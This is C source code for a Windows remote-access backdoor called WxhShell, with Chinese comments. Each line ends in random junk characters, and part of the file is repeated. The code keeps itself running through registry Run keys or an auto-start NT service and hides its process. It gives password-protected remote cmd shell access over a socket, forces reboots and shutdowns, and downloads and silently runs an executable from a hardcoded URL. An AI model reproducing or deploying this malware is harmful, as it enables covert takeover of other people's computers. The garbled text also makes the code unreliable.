    if(Boot(SHUTDOWN)) 5*{U!${a  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Xlpu_H|  
    else { KRf$VbuL  
    closesocket(wsh); t]#y} V  
    ExitThread(0); x^qmYX$'1b  
    } ><viJ$i  
    break; WQ<J<$$uu  
    } { ,/mQ3  
  // 获取shell 3 ~0Z.!O  
  case 's': { iJk`{P_  
    CmdShell(wsh); z[B*sbS  
    closesocket(wsh); QDRSQ[\  
    ExitThread(0); ^!L'Ao y;E  
    break; Ka&[ Oz<w  
  } q%w\UAqA  
  // 退出 W^i ct,t  
  case 'x': { nKp='>Th  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Vz!W(+  
    CloseIt(wsh); !krbGpTVH  
    break;  H`G[QC  
    } DF-`nD  
  // 离开 b{=2#J-  
  case 'q': { 8 qt,sU  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); iv2did4  
    closesocket(wsh); x'{L%c>L  
    WSACleanup(); h!?7I=p~#  
    exit(1); N0oBtGb  
    break; t>.mB@se|  
        }  `@b+'L  
  } ,OsFv}v7  
  } Eg-3GkC  
B\wH`5/KW  
  // 提示信息 7c1xB.g   
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Yj|Oy  
} ,`v)nwP  
  } fHCLsI  
5e~\o}]  
  return;  #:_qo  
} UM(tM9  
%|}obiV)  
// shell模块句柄 ;t{Ew+s  
int CmdShell(SOCKET sock) dFFJw[$8w  
{ I$9^i#O'3  
STARTUPINFO si; Jp=eh   
ZeroMemory(&si,sizeof(si)); ME7jF9d  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; bYGK}:T8U  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; rn#FmM  
PROCESS_INFORMATION ProcessInfo; :3M2zV cf  
char cmdline[]="cmd"; Q3vC^}Dmr  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); uV!Ax *'  
  return 0; L}*:,&Y/  
} {O9CYP:  
[x ?38  
// 自身启动模式 JziuwL5,  
int StartFromService(void) Lg0Vn&k  
{ o@mZ6!ax3  
typedef struct K9B_o,  
{ ?2zVWZ  
  DWORD ExitStatus; \ce (/I   
  DWORD PebBaseAddress; D]S@U>]M!  
  DWORD AffinityMask; _]a8lr+_-  
  DWORD BasePriority; ;,![Lar5L  
  ULONG UniqueProcessId; "Lk -R5iFd  
  ULONG InheritedFromUniqueProcessId; @.;] $N&J  
}   PROCESS_BASIC_INFORMATION; ,)e&u1'  
(lq7 ct  
PROCNTQSIP NtQueryInformationProcess; fCdd,,,}  
Kq e,p{=  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; "K n JUXpl  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; HgPRz C  
kNP.0  
  HANDLE             hProcess; 6:O3>'n  
  PROCESS_BASIC_INFORMATION pbi; j}7as&  
||a 5)D  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); dqMt6b\}  
  if(NULL == hInst ) return 0; yBqv'Y  
x%ju(B>  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); =QFnab?N  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); p\T9 q  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 2A7g}V  
qq" &Bc>  
  if (!NtQueryInformationProcess) return 0; QlmZBqK}&  
9 ?a-1  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); dznHR6x  
  if(!hProcess) return 0; -Zx hh  
1t haQ"  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; /fC@T  
 =+9.X8SP  
  CloseHandle(hProcess); KKP}fN  
f_a.BTtNO  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); xP%`QTl\  
if(hProcess==NULL) return 0; <3C~<  
/HbxY  
HMODULE hMod; Bf33%I~  
char procName[255]; '2mR;APz  
unsigned long cbNeeded; ~L$B]\/A5  
MF:]J  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); VN`T:!&  
=!u9]3)  
  CloseHandle(hProcess); Rj 2N+59rg  
/cHd&i,>  
if(strstr(procName,"services")) return 1; // 以服务启动 [ lZo'o  
d MQ]=  
  return 0; // 注册表启动 ^Yz.,!B[  
} 5[l9`Cn&A  
5ws|4V  
// 主模块 4+%;eY.A  
int StartWxhshell(LPSTR lpCmdLine) l^aG"")TH.  
{ RzCC>-  
  SOCKET wsl; S-V)!6\cK  
BOOL val=TRUE; I{Hl2?CnI,  
  int port=0; y3l3XLI*b  
  struct sockaddr_in door; i(P/=B  
?O(KmDH  
  if(wscfg.ws_autoins) Install(); 4|*b{Ni  
t I}@1  
port=atoi(lpCmdLine); Ah:!  
w@RVg*`%7D  
if(port<=0) port=wscfg.ws_port; kx,9n)  
VeK^hz R^Z  
  WSADATA data; GyI(1O AW  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ?mKj+ Bk2  
*#+e_)d  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   3]xe7F'`  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); <Wc98m  
  door.sin_family = AF_INET; k$ k /U  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 4/YEkD  
  door.sin_port = htons(port); E*VUP 5E  
1,@-y#V_  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ]"bkB+I  
closesocket(wsl); `L p3snS  
return 1; XQL"D)fw  
} #?%akQ+w  
[DrG;k?  
  if(listen(wsl,2) == INVALID_SOCKET) { hz#S b~g  
closesocket(wsl); o=i)s2   
return 1; +E8 \g  
} )6mx\t  
  Wxhshell(wsl); n';"c;Ye)  
  WSACleanup(); -L e:%q2  
3=o^Vv  
return 0; !z@QoD  
ZqKUz5M4  
} *zoAD|0N  
Fx#0 :p  
// 以NT服务方式启动 rl-r8?H}  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) rN6 @=uB  
{ N)'oX3?x  
DWORD   status = 0; 86Q\G.h7  
  DWORD   specificError = 0xfffffff; |jB]5ciT  
5Pmmt&#/Z  
  serviceStatus.dwServiceType     = SERVICE_WIN32; `L<f15][  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 7oY}=281  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; @ k+Z?Hp  
  serviceStatus.dwWin32ExitCode     = 0; 4T#B7wVoM  
  serviceStatus.dwServiceSpecificExitCode = 0; g-^Cf   
  serviceStatus.dwCheckPoint       = 0; 3&Dln  
  serviceStatus.dwWaitHint       = 0; (I3:u-A  
ECHl 9; +  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); |rJ1/T.9  
  if (hServiceStatusHandle==0) return; TAz #e  
(?MRbX]@  
status = GetLastError(); &1O[N*$e  
  if (status!=NO_ERROR) Abr:UEG  
{ GE4d=;5  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; hgCF!eud  
    serviceStatus.dwCheckPoint       = 0; tBEZ4 W>67  
    serviceStatus.dwWaitHint       = 0; zrfE'C8O  
    serviceStatus.dwWin32ExitCode     = status; ' k~'aZ  
    serviceStatus.dwServiceSpecificExitCode = specificError; 0{|ib !  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ?^iX%   
    return; Jej P91  
  } gs;3NW  
z_fR?~$N2  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ,a_F[uK  
  serviceStatus.dwCheckPoint       = 0; `P;fD/I  
  serviceStatus.dwWaitHint       = 0; i<<NKv8;  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); B"N8NVn  
} f:5(M@iO.  
O[+![[N2  
// 处理NT服务事件,比如:启动、停止 kIS&! V  
VOID WINAPI NTServiceHandler(DWORD fdwControl) S0.   
{ 4ujw/`:/m  
switch(fdwControl) PMr {BS  
{ S-^y;#=  
case SERVICE_CONTROL_STOP: q^}QwJw  
  serviceStatus.dwWin32ExitCode = 0; |RT#ZMJek  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; S<^*jheO5  
  serviceStatus.dwCheckPoint   = 0; mo%9UL,#W  
  serviceStatus.dwWaitHint     = 0; Zw(*q?9\  
  { s=`1wkh0  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 0ZQ|W%tS  
  } y7M"Dr%t^  
  return; `5}XmSJ?5  
case SERVICE_CONTROL_PAUSE: $LUNA.  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; h>B>t/k?  
  break; =x "N0p  
case SERVICE_CONTROL_CONTINUE: 2!QS&i  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ?_9cFo59:  
  break; /|] %0B  
case SERVICE_CONTROL_INTERROGATE: :CEhc7gU  
  break; >W 2Z]V  
}; G hH0-g{-  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 75vd ]45as  
} hg7`jE&2  
;w1?EdaO  
// 标准应用程序主函数 ':yE5j  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Zyq h  
{ vPuPSE%M  
xM85^B'  
// 获取操作系统版本 k1y&' 3%  
OsIsNt=GetOsVer(); @Tmqw(n{  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ` c~:3^?9d  
:w_J/k5Zd  
  // 从命令行安装 hNXP-s  
  if(strpbrk(lpCmdLine,"iI")) Install(); 'qBg^c  
:HhLc'1Jw  
  // 下载执行文件 oD_'8G}  
if(wscfg.ws_downexe) { ,X6.p  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) u->UV:u  
  WinExec(wscfg.ws_filenam,SW_HIDE); rlu{C4l  
} {xr!H-9ZAA  
GIQ/gM?Pv  
if(!OsIsNt) { ji {V#  
// 如果时win9x,隐藏进程并且设置为注册表启动 d |Wpub  
HideProc(); cw#p!mOi~  
StartWxhshell(lpCmdLine); Eugt~j3  
} \2i4]V  
else jTk !wm=  
  if(StartFromService()) *%5#\ I  
  // 以服务方式启动 2#'{Q4K  
  StartServiceCtrlDispatcher(DispatchTable); ehj&A+Ip  
else Y}(#kqh>  
  // 普通方式启动 ]5D?Sc#-  
  StartWxhshell(lpCmdLine); DV +DJcF  
#9z\Wblr  
return 0; ry}CND(nB  
} V ea>T^  
 !pl<  
*{:FPmDU  
}_}C ^  
=========================================== >L#&L ?#  
~]?Q'ER  
1fwCQM   
PIP2(-{ai  
)ARfI)<1b  
l i}4d+  
" 7QL>f5Q  
kV"';a  
#include <stdio.h> !I5_ln  
#include <string.h> UzFd@W u#  
#include <windows.h> k!O#6Z  
#include <winsock2.h> e#IED!U  
#include <winsvc.h> esmQ\QQ^1  
#include <urlmon.h> 1g{`1[.QO  
0rY<CV;fZ  
#pragma comment (lib, "Ws2_32.lib") 9ZUG~d7_  
#pragma comment (lib, "urlmon.lib") 69(z[opW  
fKIwdk%!-  
#define MAX_USER   100 // 最大客户端连接数 x:=Kr@VP  
#define BUF_SOCK   200 // sock buffer csT_!sI I  
#define KEY_BUFF   255 // 输入 buffer u$x H iD  
P:t|'t  
#define REBOOT     0   // 重启 ]hTYh^'e  
#define SHUTDOWN   1   // 关机 X<ZIeZBn  
)K>XLaG)  
#define DEF_PORT   5000 // 监听端口 x-) D@dw<  
\^SL Zhe  
#define REG_LEN     16   // 注册表键长度 a^i`DrX  
#define SVC_LEN     80   // NT服务名长度 /Q5pA n-u  
-wlob`3  
// 从dll定义API {'G@-+K  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); By6C+)up  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); K) $.0S9d  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); `ysPEwA|  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); y!GjC]/  
zAt!jP0E  
// wxhshell配置信息 CF>k_\/Bj  
struct WSCFG { S(mJ;C  
  int ws_port;         // 监听端口 Ta?#o  
  char ws_passstr[REG_LEN]; // 口令 5+:b #B  
  int ws_autoins;       // 安装标记, 1=yes 0=no wlBdA  
  char ws_regname[REG_LEN]; // 注册表键名 ULMG"."IH  
  char ws_svcname[REG_LEN]; // 服务名 Sj(uc#  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 sIdo(`8$  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 l*("[?>I  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 N:[m,U9a  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 3Gf^IV-  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" A_T-]YQ  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 zMt"ST.  
g"( vl-Uw  
}; Y'Sxehx  
?mS798=f  
// default Wxhshell configuration 4JFi|oK0H  
struct WSCFG wscfg={DEF_PORT, &M=12>ah]  
    "xuhuanlingzhe", Ki}PO`s  
    1, }qT @.  
    "Wxhshell", Hkg^  
    "Wxhshell", 6G7B&"&  
            "WxhShell Service", z,}1K!  
    "Wrsky Windows CmdShell Service", c>{X( Z=2  
    "Please Input Your Password: ", ]ms#*IZ  
  1, )<9g+^  
  "http://www.wrsky.com/wxhshell.exe", hE-`N,i }  
  "Wxhshell.exe" m,aJ(8G  
    }; 8,=Ti7_  
uNl<= 1  
// 消息定义模块 :Y(Yk5  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; NWNH)O@  
char *msg_ws_prompt="\n\r? for help\n\r#>"; +cM;d4  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; &1893#V  
char *msg_ws_ext="\n\rExit."; D4G*K*z,w4  
char *msg_ws_end="\n\rQuit."; e<YC=67n)  
char *msg_ws_boot="\n\rReboot..."; I(P|`"  
char *msg_ws_poff="\n\rShutdown..."; 2GXAq~h@  
char *msg_ws_down="\n\rSave to "; ?cCh?> h  
IK(G%dDw  
char *msg_ws_err="\n\rErr!"; mJ<rzX  
char *msg_ws_ok="\n\rOK!"; RW48>4f/+  
F*>:~'%  
char ExeFile[MAX_PATH]; uf\Hh -+p  
int nUser = 0; >},O_qx  
HANDLE handles[MAX_USER]; t= "EbPE  
int OsIsNt; ^v*ajy.>  
6Bmv1n[X^h  
SERVICE_STATUS       serviceStatus; }lML..((1  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 7'7bIaJk  
3 l->$R]  
// 函数声明 kI]i,v#F  
int Install(void); 5&v'aiWK  
int Uninstall(void); tz j]c  
int DownloadFile(char *sURL, SOCKET wsh); 8|{:N>7  
int Boot(int flag); ii2X7Q  
void HideProc(void); a2v UZhkR  
int GetOsVer(void); jWiZ!dtUZ  
int Wxhshell(SOCKET wsl); ~^$ONmI5  
void TalkWithClient(void *cs); H.XD8qi3W  
int CmdShell(SOCKET sock); 6#7f^uIK  
int StartFromService(void); 1Ls@|   
int StartWxhshell(LPSTR lpCmdLine); MG[?C2KA/  
z 4Qz9#*"^  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); B{H;3{0  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); JVwYV5-O<0  
E0\ '  
// 数据结构和表定义 qc|;qPj   
SERVICE_TABLE_ENTRY DispatchTable[] = `5<  
{ UY*Hc  
{wscfg.ws_svcname, NTServiceMain}, 2$yKa5SaX  
{NULL, NULL} Hlp!6\gukp  
}; Otj=vGr0  
{a `kPfP  
// 自我安装 :m_0WT  
int Install(void) 6S])IA&VJ  
{ 5ap}(bO  
  char svExeFile[MAX_PATH]; Y~dRvt0_w  
  HKEY key; )M#~/~^f+  
  strcpy(svExeFile,ExeFile); |Q`}a %  
}C"EkT!F  
// 如果是win9x系统,修改注册表设为自启动 60[f- 0X  
if(!OsIsNt) { 8xDS eXh;  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { jkQv cU  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); &.an-  
  RegCloseKey(key); )AXTi4MNp  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ;T/W7=4CZ  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); .=3Sm%  
  RegCloseKey(key); -0YS$v%au>  
  return 0; 0@C`QW%m  
    } g % q7  
  } 8?W\kf$  
} !9356) cV  
else { 6aK'%K  
}EE  
// 如果是NT以上系统,安装为系统服务 LDBxw  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); [ 8N1tZ{`  
if (schSCManager!=0) "}*P9-%  
{  ,@R~y  
  SC_HANDLE schService = CreateService ?CAP8_  
  ( Jh{(xGA  
  schSCManager, ^TVica  
  wscfg.ws_svcname, L q'*B9  
  wscfg.ws_svcdisp, x@m"[u  
  SERVICE_ALL_ACCESS, ;Y?7|G97*S  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , {(o\G"\<XY  
  SERVICE_AUTO_START, R)WvU4+U  
  SERVICE_ERROR_NORMAL, %N|7<n<S  
  svExeFile, }%| (G[  
  NULL, yb*SD!  
  NULL, 7 '2E-#^  
  NULL, #lM!s  
  NULL, Mto3Ryic!  
  NULL W>wIcUP<<  
  ); %LXk9K^]e  
  if (schService!=0) $EN A$  
  { A~\:}P N  
  CloseServiceHandle(schService); tB&D~M6[  
  CloseServiceHandle(schSCManager); BEg%u)"([  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); `8xmM A_l  
  strcat(svExeFile,wscfg.ws_svcname); 3xsC"c>  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Y{1IRP?S  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); JiDX|Q<c  
  RegCloseKey(key); kFHqQs aG  
  return 0; /e|`mu%  
    } 1FjA   
  } ]r$S{<  
  CloseServiceHandle(schSCManager); Nj %!N  
} w)&]k#r  
} |D$U{5}Mv  
Sl:Qq!  
return 1; 3VCyq7 B^  
} M< *5Y43  
U.crRrN  
// 自我卸载 m qPWCFP  
int Uninstall(void) 7{D +\i  
{ o83HR[  
  HKEY key; i'L7t!f}o  
 M)Yu^  
if(!OsIsNt) { 5L42'gJ  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { W ;,Uh E  
  RegDeleteValue(key,wscfg.ws_regname); |m"2B]"@  
  RegCloseKey(key); -F4CHpua  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { O#H`/z  
  RegDeleteValue(key,wscfg.ws_regname); }{ pNasAU  
  RegCloseKey(key); A*n'"+_  
  return 0; TiCp2Rsz  
  } gA2Il8K  
} hDl& KE  
} NjdAfgA  
else { -J:](p  
G- Sw`HHo  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); e3F)FTG&  
if (schSCManager!=0) #fG!dD42  
{ b^y#.V.|k  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); . m7iXd{  
  if (schService!=0) *Y9"-C+  
  { <gZC78}E  
  if(DeleteService(schService)!=0) { AQbbIngo  
  CloseServiceHandle(schService); [ \V]tpl!  
  CloseServiceHandle(schSCManager); \qUmdN{FU  
  return 0; b&*^\hY9b  
  } NqkRR$O  
  CloseServiceHandle(schService); Q6MDhv,  
  } _R8)%<E  
  CloseServiceHandle(schSCManager); :&2RV_$>=  
} .o:Pe2C  
} QP7EPaW  
~Msee+ZZ :  
return 1; rP2^D[uM.  
} MGX,JW>L  
(+@3Dr5o0}  
// 从指定url下载文件 UrH^T;#  
int DownloadFile(char *sURL, SOCKET wsh) *B)>5r  
{ &%f y  
  HRESULT hr; g5V9fnb!d  
char seps[]= "/"; WyA>OB<Zeq  
char *token; mf,mKgfG  
char *file; X~P0Q  
char myURL[MAX_PATH]; [k@D}p x  
char myFILE[MAX_PATH]; Gw~^6(Qu  
J^ P/2a#a  
strcpy(myURL,sURL); n4>  
  token=strtok(myURL,seps); >`5iq.v  
  while(token!=NULL) n2Dnpe:  
  { O(~`fN?n  
    file=token; Q'*-gg&)  
  token=strtok(NULL,seps); }}cVPB7   
  } P;MS%32  
fk*JoR.o  
GetCurrentDirectory(MAX_PATH,myFILE); >f'n l  
strcat(myFILE, "\\"); ^-~.L: }q  
strcat(myFILE, file); q_OIzZ@  
  send(wsh,myFILE,strlen(myFILE),0); / w_ Sc{  
send(wsh,"...",3,0); H^K(1  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 'RQZU*8  
  if(hr==S_OK) &I:X[=;g  
return 0; , *e^,|#  
else 8BE OE<  
return 1; RW,ew!Z  
z\_q`43U7  
} 15iCJ p  
vFL3eu#  
// 系统电源模块 0>H<6Ja  
int Boot(int flag) :n0(gB  
{ KKGAk\X  
  HANDLE hToken; WYRTt2(+%  
  TOKEN_PRIVILEGES tkp; v^[tK2&v  
.{5)$w>  
  if(OsIsNt) { s:*gjoL  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); g}ciG!0  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); xfkG&&  
    tkp.PrivilegeCount = 1; '[qG ,^f  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 'bY^=9&|  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ;l4rg!r(S  
if(flag==REBOOT) { p|(910OEQ  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) E2X KhW  
  return 0; w][ ;  
} _? 1<  
else { b1nw,(hLY  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) `USR]T_`  
  return 0; 9.zy`}  
} q{yz]H,  
  } >^|\wy  
  else { /y@$|DI1  
if(flag==REBOOT) { B(Y{  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) YwoytoXK  
  return 0; [xO^\oQa=c  
} 9@QP?=\Y  
else { >p\IC  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 0z#+^  
  return 0; }= s@y"["  
} ukS@8/eJ  
} Bwb3@vNA  
%L/Wc,My  
return 1; 3c@Cb`w@  
} kL*Q})  
S;+bQ.  
// win9x进程隐藏模块 ETSBd[  
void HideProc(void) Vfg144FG'  
{  ;lW0p8  
0e q>  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 9S=9m[#y'  
  if ( hKernel != NULL ) hS*3yCE"8  
  { zoC/Hm  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); >AN`L`%2  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); U lj2 Py}  
    FreeLibrary(hKernel); /  DeI s  
  } EZ1H0fm  
5SR 29Z[  
return; ;]Y.2 J  
} ZS>}NN  
k-e_lSYk&c  
// 获取操作系统版本 /Wg$.<!5 }  
int GetOsVer(void) g@MTKqs  
{ {n$9o  
  OSVERSIONINFO winfo; eW\7X%I  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ll[U-v{  
  GetVersionEx(&winfo); fcnbPO0M  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) a3R#Bg(  
  return 1; u;!CQ w/  
  else 7k+UCi u>  
  return 0; 9y.C])(2  
} C<qJnB:B 9  
h(GgkTj4+  
// 客户端句柄模块 "*%=k%'  
int Wxhshell(SOCKET wsl) /Lu wPM  
{ jTSw0\}  
  SOCKET wsh; *ubLuC+b  
  struct sockaddr_in client; lG%oqxJ+ L  
  DWORD myID; o \b8lwA,  
CN\s,. ]  
  while(nUser<MAX_USER) .H7"nt^  
{ 9WtTUk  
  int nSize=sizeof(client); OR1XQij  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); +P}'2tE~'  
  if(wsh==INVALID_SOCKET) return 1; hkHMBsNi  
:V}8a!3h  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ,6i67!lb  
if(handles[nUser]==0) .s7o$u~l  
  closesocket(wsh); (yc$W9  
else y ?4|jN  
  nUser++; r A0[y  
  } a(d'iAU8^  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); r6Pi ZgR  
cg1<  
  return 0; <wj2:Z0  
} r{>tTJFD(:  
>/5D/}4  
// 关闭 socket ;`X-.45  
void CloseIt(SOCKET wsh) A ;Z%-x  
{ q Z`@Ro  
closesocket(wsh); kj@#oLd%  
nUser--; Qs#v/r  
ExitThread(0); D rHMlk5  
} <| Xf4.  
$'?CY)h{  
// 客户端请求句柄 jpm}EOq<%  
void TalkWithClient(void *cs) VaVKWJg$  
{ L!mQP  
;X|;/@@  
  SOCKET wsh=(SOCKET)cs; zr84%_^  
  char pwd[SVC_LEN]; KW+^9&lA  
  char cmd[KEY_BUFF]; F4kU) i  
char chr[1]; 3~s0ux[  
int i,j; 6NJ La|&n  
U NQup;#h  
  while (nUser < MAX_USER) { 9XobTi3+'  
?D57HCd`n  
if(wscfg.ws_passstr) { MI',E?#yB  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 4\Y=*X  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); [RC|W%<Z>  
  //ZeroMemory(pwd,KEY_BUFF); I>L lc Y  
      i=0; jqb,^T|j;m  
  while(i<SVC_LEN) { \ {"8(ELX  
kJJQcjAP:  
  // 设置超时 .7~Kfm@2  
  fd_set FdRead; U:_T9!fG  
  struct timeval TimeOut; :T%,.sH  
  FD_ZERO(&FdRead); n9cWvy&f  
  FD_SET(wsh,&FdRead); -}4H'%Z(i  
  TimeOut.tv_sec=8; Yk?ux Z4)H  
  TimeOut.tv_usec=0; +-qD!(&-6  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); '~3( s?B  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); *Vv ;NA/  
1;.}u= 8  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 4zJ9bF4  
  pwd=chr[0]; "/ @ ;6   
  if(chr[0]==0xd || chr[0]==0xa) { P4R.~J ;8  
  pwd=0; /xrt,M@  
  break; nfRo:@  
  } ,1^)JshZ~  
  i++; zs[t<`2  
    } 3Y=T8Gi#  
OjrQ[`(E  
  // 如果是非法用户,关闭 socket MW'z*r|,  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); /R9>\}.y J  
} .u W_(Rqg  
gj6"U {D  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); yMX4 f  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); %4n=qK9T 5  
O}IS{/^7  
while(1) { F^A1'J  
+/x|P-  
  ZeroMemory(cmd,KEY_BUFF); ; h/Y9uYn  
_IT,>#ba  
      // 自动支持客户端 telnet标准   2R<1  ^  
  j=0; 6D0uLh  
  while(j<KEY_BUFF) { ',juZ[]_ {  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); e|+uLbN&;c  
  cmd[j]=chr[0]; Sq(=Bn6E  
  if(chr[0]==0xa || chr[0]==0xd) { K{q(/>:  
  cmd[j]=0; a`/[\K6  
  break; tH>%`:  
  } V+Cb.$@  
  j++; ~)oC+H@{  
    } 6JK;]Ah  
`I6)e{5t  
  // 下载文件 !X[lNt O  
  if(strstr(cmd,"http://")) { IO v4Zx<)  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); p)TH^87  
  if(DownloadFile(cmd,wsh)) !ZSC"  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); c{FvMV2em  
  else !B-&I E?  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); `DWzp5Ax  
  } B<:i[~`7t  
  else { 3b%y+?-{\u  
W=F?+Kg L  
    switch(cmd[0]) { I&1Mh4yu  
  ]*):2%f  
  // 帮助 (_<ruwV]`  
  case '?': { u@==Ut  
